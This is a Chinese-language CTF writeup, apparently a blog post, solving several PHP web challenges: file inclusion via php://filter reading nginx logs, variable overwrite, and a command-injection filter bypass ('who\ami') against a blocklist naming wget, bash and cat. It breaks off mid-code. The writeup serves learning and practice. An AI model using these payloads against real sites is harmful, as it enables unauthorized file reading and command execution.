某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on

Web

简单的web

PHP代码审计

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    echo "try to read source ?action=";
    $action = $_GET['action'];
        if (isset($action)) {
   
   
            if (preg_match("/base|data|input|zip|zlib/i", $action)) {
   
   
                echo "<script>alert('you are A Hacker!!!')</script>";
            } else {
   
   
                include("$action");
            }
        }
?> 

文件包含,但是过滤了很多关键字,常见的PHP伪协议无法使用。但是可以进行远程文件包含:

在这里插入图片描述

赛后看到还有一种解法,仍然可以通过PHP伪协议,通过ROT13编码包含Nginx日志文件找到flag路径,然后包含flag文件获得答案:

/?action=php://filter/read=string.rot13/resource=/var/log/nginx/access.log

你玩过2048吗

玩过,合成数字就行了。

在这里插入图片描述

查看Jscript代码,定位到关键逻辑:

在这里插入图片描述

当分数达到2048时,显示flag,直接运行Jscript代码即可:

confirm(Decode('l%C2%85%C2%94%C2%96%C2%97%C2%9A%C3%81%C3%A1%C3%87%C3%87%C3%8C%C2%9Fq%C2%9A%C3%83%C2%97id%C2%95%C2%94af%C2%97%C3%85%C2%98jgipj%C2%96%C3%89%C2%9Dne%C2%96%C2%97gh%C2%AF'));
// DASCTF{faff98ba631d015bc552791ed950f162}

在这里插入图片描述

EasyPhp-v2

右键查看源码,看到PHP代码:

<?php
	foreach ($_POST as $item => $value){
   
   
	    $$item=$$value;
	    $secret = $$item;
	}
	foreach ($_GET as $key => $value){
   
   
	    if ($key=='flag'){
   
   
	        $str=$value;
	        $$str=$secret;
	    }
	}
	if (isset($hehe)){
   
   
	    echo "<center>".$hehe."</center>";
	}
	//flag+flaag=DASCTF{XXXXXXX}
?>

考察变量覆盖漏洞,使用POST方式传入value为flag的键值对,使得flag比变量即flag的前半段赋给secret变量。再通过GET方式使得hehe变量的值等于secret,即flag变量,打印输出即可。

# GET
?flag=hehe
# POST
a=flag
a=fllag

black

主页啥也没有,view-source查看源代码,发现step.php页面。直接访问的话会快速跳转到black.php空白页面,这里如果查看源代码的话会发现还有一个EDG.php页面,访问之:

在这里插入图片描述

看到一个图片,查看源码,页面返回了图片文件的Base64编码:

在这里插入图片描述

关注到URL的参数如下:

/EDG.php?img=353736643331376136343537343637353531366433343364

发现该参数经过了两次Base64编码和两次十六进制编码,解码如下:

353736643331376136343537343637353531366433343364
# 十六进制解码
576d317a64574675516d343d
# 十六进制解码
Wm1zdWFuQm4=
# Base64解码
ZmsuanBn
# Base64解码
fk.jpg

将本页面EDG.php进行如上编码,传入img参数:

/EDG.php?img=3535366335363533353334353738373535313664333936613531353433303339

返回页面查看源代码,将返回数据进行Base64解码,得到EDG.php的源码:

<center>
<?php
	error_reporting(0);
	header('content-type:text/html;charset=utf-8');
	include("flag.php");//flag in flag.php
	$cmd = $_GET['cmd'];
	if (!isset($_GET['img'])) 
	    echo '<script language=javascript>window.location.href="EDG.php?img=353736643331376136343537343637353531366433343364"</script>';
	    $file = base64_decode(base64_decode(hex2bin(hex2bin($_GET['img']))));
	$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
	if (preg_match("/flag/i", $file)) {
   
   
	    echo 'ä½ æƒ³è¦flagï¼Ÿè¡Œï¼Œé‚£æˆ‘ç»™ä½ å§~';
	    echo '<script language=javascript>window.location.href="flag.php"</script>';
	} else {
   
   
	    $txt = base64_encode(file_get_contents($file));
	    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
	    echo "<br>";
	}
	if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|diff|file|echo|sh|'|\"|`|;|,|\\|xA0|{|}|[|]|-|<|>/i", $cmd)) {
   
   
	    echo("forbid ~");
	    echo "<br>";
	} else {
   
   
	    system($cmd);
	}?>

进行代码审计,可以通过GET方式的cmd参数进行命令执行,但是过滤了很多命令,使用反斜杠\绕过即可:

EDG.php?img=123&cmd=who\ami

在这里插入图片描述

sqlnm

本题可以参考我之前写的一篇Writeup:

某单位2021年CTF初赛Web4-Sqlnm_2ha0yuk7on.的博客-优快云博客

我当时是用SQL盲注直接解的,赛后发现其实本题应该后面还有一个Vim源码泄露,我也补充进之前这篇文章了,详情请移步观看。

WriteIt

主页啥也没有,查看robots.txt,发现oh_somesecret页面:

<?php
	highlight_file(__FILE__);
	class OhYouFindIt{
   
   
	    public $content = "Hello Hacker.<br>";
	    function __destruct(){
   
   
	        echo $this->content;
	    }
	
评论 7
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

2ha0yuk7on.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值